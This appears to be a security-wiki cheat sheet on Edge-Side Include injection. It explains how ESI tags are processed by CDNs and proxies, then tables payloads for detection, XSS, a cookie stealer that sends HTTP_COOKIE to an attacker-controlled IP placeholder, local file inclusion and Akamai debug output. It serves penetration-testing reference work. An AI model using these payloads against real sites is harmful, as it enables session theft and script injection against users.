---
description: Edge-Side Includes.
---

# ESI

Edge-Side Includes is a technology used to manage distributed content caching and improve the performance of dynamic web pages. It is a markup language that allows a web page to be “composed” using various content fragments, which are loaded or updated independently. With ESI, special tags can be inserted within the HTML code (such as `<esi:include>`), which are interpreted by an edge caching server (such as a Content Delivery Network - CDN or an advanced reverse proxy) before the page is delivered to the user's browser. ESI fragments tell the server which parts of the content can be handled separately to optimize the cache.\
Edge-Side Include Injection occurs when a malicious user succeeds in reflecting malicious ESI tags in the HTTP response. The main cause of this vulnerability is that HTTP surrogates cannot validate the origin of the ESI tag. Although it is possible to identify the use of ESI by examining response headers for `Surrogate-Control: content=“ESI/1.0”`, it is usually necessary to use a blind attack approach to detect whether ESI is in use or not.

<table data-header-hidden><thead><tr><th width="325"></th><th></th></tr></thead><tbody><tr><td>Basic detection</td><td><code>&#x3C;esi: include src=http://&#x3C;MY_IP>></code></td></tr><tr><td>XSS Exploitation Example</td><td><code>&#x3C;esi: include src=http://&#x3C;MY_IP>/&#x3C;XSSPAYLOAD.html>></code></td></tr><tr><td>Cookie Stealer (bypass httpOnly flag)</td><td><code>&#x3C;esi: include src=http://&#x3C;MY_IP>/?cookie_stealer.php?=$(HTTP_COOKIE)></code></td></tr><tr><td>Introduce private local files (Not LFI per se)</td><td><code>&#x3C;esi:include src="supersecret.txt"></code></td></tr><tr><td>Valid for Akamai, sends debug information in the response</td><td><code>&#x3C;esi:debug/></code></td></tr></tbody></table>
